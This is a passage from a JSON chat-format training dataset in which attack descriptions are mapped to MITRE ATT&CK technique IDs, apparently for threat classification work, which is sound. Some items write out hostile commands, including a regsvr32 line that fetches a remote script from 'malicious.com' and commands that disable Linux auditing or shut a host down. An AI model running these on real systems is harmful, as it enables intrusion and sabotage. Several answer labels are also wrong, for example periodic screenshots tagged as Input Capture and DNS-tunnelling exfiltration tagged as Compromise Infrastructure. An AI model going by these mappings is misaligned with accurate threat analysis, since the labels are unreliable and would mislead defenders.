                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group harvests credentials from the macOS Keychain by exploiting a privilege escalation vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use Process Hollowing to start svchost.exe in a suspended mode, replace its code section with a RAT, and then run it to hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the scenario, the attacker leverages DHCP spoofing to force clients onto a VPN tunnel they control, granting remote access to internal resources."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the threat actor executes a DCSync attack to obtain the krbtgt account hash, enabling Kerberos ticket forging."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers perform process injection on Linux by calling ptrace to manipulate the registers and memory of a victim process."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the misuse of the CMSTP binary, the attacker bypassed security restrictions and executed a remote PowerShell command via an INF file."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group used DNS tunneling over a compromised DNS server to exfiltrate data while maintaining persistent DNS control."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a web shell on a breached VM, the adversary queried the OpenStack metadata service to retrieve the admin password and other secrets."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modified the timestamps of registry keys to make changes appear older than they actually were."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker renamed the malicious payload \"svchost.exe \" (note the trailing space) so that Windows Explorer hides the extension and the file appears as a legitimate system process."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Firmware update mechanism is hijacked to deliver a malicious firmware image that implants a rootkit."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape public job postings and hiring patterns to identify periods of increased activity within the victim company."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the Process Doppelgänging technique, using the ZwCreateFile and ZwSetInformationFile APIs to execute unsigned code stealthily."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A new exploit kit is released, utilizing several known vulnerabilities to compromise targets."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware steals OAuth tokens from a compromised user and uses them to call the Microsoft Graph API to list and download messages."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a Kubernetes CronJob to execute a malicious script on a regular schedule within the compromised cluster."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors manipulate search engine rankings to promote sites hosting phishing pages, causing victims to click harmful links."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability in the DNS service, the adversary obtains root access to the DNS server."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged AnyDesk to maintain command and control over infected machines."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was used to flash a compromised BIOS ROM, embedding a bootkit that runs at power‑on and persists across OS reinstalls."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Obfuscated source code is delivered and compiled on the victim's machine, resulting in a native binary that bypasses security tools that only scan for known executables."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hacker queries the public WHOIS data of the company’s domain and cross-references contact names to compile a list of employee identities."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code inserts a new entry in HKCU\\Software\\Microsoft\\Active Setup\\Installed Components with a custom command to execute a backdoor at boot."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion campaign drops a batch file that runs `attrib -r` to remove the read‑only attribute from protected files, then overwrites them."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installs a rogue Bluetooth driver that periodically uploads cached browser cookies to a concealed Bluetooth endpoint."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Java compiler (javac) with crafted source files, the attacker achieves code execution on the victim's host."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware scans the system for attached USB drives and other removable storage devices to locate potential exfiltration points."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware’s DGA algorithm derives domain names from a combination of the user’s login name and a pepper."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the breach, the perpetrator disables the audit daemon via systemctl mask auditd.service."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employed the TeamViewer application to remotely control compromised workstations and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary requests Kerberos service tickets for high‑privilege service accounts, extracts the encrypted hashes, and performs offline brute‑force cracking to obtain clear‑text passwords (Kerberoasting)."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party cloud service account is used to access and exfiltrate data from the victim’s cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploits Kerberos AS‑REP roasting by sniffing network traffic and extracting AS‑REP messages from domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses DNS zone transfer requests (AXFR) to retrieve the victim's DNS records and map the network."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware pulls files from a compromised Google Drive folder containing financial statements."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exfiltrated screenshots taken at regular intervals to monitor on-screen activity."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs NAT hole punching via UDP packets, allowing persistent inbound connections despite the presence of a network address translator."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hooks the LogonUserW API in Windows to intercept credentials entered by users."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged the cloud provider's SDK to programmatically snapshot a virtual machine's attached storage."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan performs process injection by performing a Hollowing attack on explorer.exe, allowing it to hide its presence."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a misconfiguration, the adversary forces the identity provider to send an MFA request to the victim's registered device without a login attempt."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised browser extension intercepts keystrokes on web forms, logging usernames and credit card numbers to a hidden directory."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators generated a fraudulent certificate signing request (CSR) using stolen credentials of a trusted software publisher, resulting in a valid code signing certificate."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑criminals explore free certificate repositories to find usable public keys for phishing or spoofing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue insider exports user email address books and password hashes from the directory server."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies a shared PDF document on a public file server to embed malicious macros that execute when any user opens it."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker's script issues a DNS NS lookup to discover subdomains for further infiltration."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed regsvr32 /u /n /i:http://malicious.com/bad.dll to execute a remote script without touching disk."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping is performed by loading the SAM hive into a temporary registry and exporting the hash data."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a shortcut that points to a malicious executable but sets the IconFile attribute to a legitimate system file, tricking users."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden process continuously calls the Win32 API GetDC and BitBlt to stream live screen captures."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor opened port 3389 and exploited RDP to remotely control the victim's desktop environment."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An unauthorized print processor is added to the system and set as the default processor, ensuring code execution on printer usage."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gaining access to sensitive data through an exploited vulnerability in a software package"
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using mshta, the threat actor runs a malicious script disguised as a legitimate HTML Application to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors extract a user's web session cookie from the browser's storage and reuse it to bypass login prompts."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses a hijacked Twitter direct message to deliver a short URL that redirects to a malicious executable hosted on a compromised website."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor crafts a specially crafted Microsoft Office document that leverages a CVE in Office’s scripting engine to run a PowerShell script on the user’s system."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary issues a command to wipe the partition table and all partitions on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PDF attachment is delivered via email, and the PDF contains a link that, when clicked, executes a PowerShell script to download ransomware."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a LinkedIn account impersonating a senior executive to send spear-phishing messages to the organization’s employees."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involved using odbcconf to add a malicious DLL path, achieving T1218.008 proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulate SIP registry keys to bypass Windows trust controls and execute malicious code without detection."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors gather user credentials and place them in a local staging area to prepare for later theft."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a rule that executes a PowerShell one-liner on email receipt, the actor ensures their malicious code runs each time Outlook processes mail."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote administration tool receives PowerShell commands via HTTP POST and executes them directly on the target system."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group set up a spoofed Wi‑Fi hotspot named 'Company_Guest' to intercept employee traffic."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs the Linux command \"init 0\" to shut down the host machine."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat hijacks an Azure subscription and injects additional client secrets into existing applications."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries develop a spear‑phishing attachment containing obfuscated JavaScript that executes a payload in memory."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script runs in the background that suppresses termination interrupts, thereby evading forensic collection of its artifacts."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware opens thousands of concurrent connections to the target’s database service, overwhelming its connection handler and causing the service to become unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages systemd timers to repeatedly launch a credential dumping tool on a compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvest digital certificates by searching searchable online certificate databases and certificate authority logs."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware scans for and copies all .sql database files found in user directories."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
